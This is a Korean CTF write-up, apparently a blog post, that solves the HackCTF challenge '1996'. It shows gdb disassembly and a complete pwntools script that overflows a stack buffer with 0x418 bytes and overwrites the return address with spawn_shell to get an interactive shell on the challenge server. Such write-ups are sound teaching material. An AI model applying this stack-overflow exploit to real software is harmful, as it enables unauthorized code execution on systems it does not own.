1996

2022. 4. 20. 16:52·Wargame/HackCTF

ASLR이 없다. spawn_shell 함수를 이용하여 쉘을 따면 된다. 

 

main함수에서 buf 변수로 입력값을 받고  getenv함수를 실행시킨다.  여기서 buf를 몇 바이트를 받는 지를 안정해놨기에 BOF Trigger가 가능하다. 

 

gdb-peda$ p spawn_shell
	$1 = {<text variable, no debug info>} 0x400897 <spawn_shell()>
gdb-peda$ pd main
    Dump of assembler code for function main:
       0x00000000004008cd <+0>:     push   rbp
       0x00000000004008ce <+1>:     mov    rbp,rsp
       				...
       0x0000000000400927 <+90>:    mov    rbx,rax
       0x000000000040092a <+93>:    lea    rax,[rbp-0x410]
       0x0000000000400931 <+100>:   mov    rdi,rax
       0x0000000000400934 <+103>:   call   0x400780 <getenv@plt>

buf는 rbp-0x410에 위치한다. x64 환경이므로 Dummy(0x410) + SFP(8) + spawn_shell 주소 로 페이로드를 짜서 RTL 하면 된다.

 

from pwn import *
context.log_level = 'debug'
p = remote('ctf.j0n9hyun.xyz', 3013)
shell = 0x400897

payload = 'A' * 0x418
payload += p64(shell)

p.recvuntil('read? ')
p.send(payload)

p.interactive()
저작자표시 비영리 변경금지 (새창열림)
'Wargame/HackCTF' 카테고리의 다른 글
  • RTL_Core
  • Random_key
  • Poet
  • g++
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    GPNCTF
    sqli
    Crypto
    RCE
    TFCCTF2022
    Machine Learning
    cache poisoning
    Ubuntu 기초 셋팅
    Deep learning
    Text Summarization
    bug hunter
    Remote Code Execution
    pwntools
    TsukuCTF2022
    bug report
    Ubuntu 기초
    justCTF
    ubuntu 명령어
    python
    cache
  • 최근 댓글

  • 최근 글

Cronus
1996
상단으로

티스토리툴바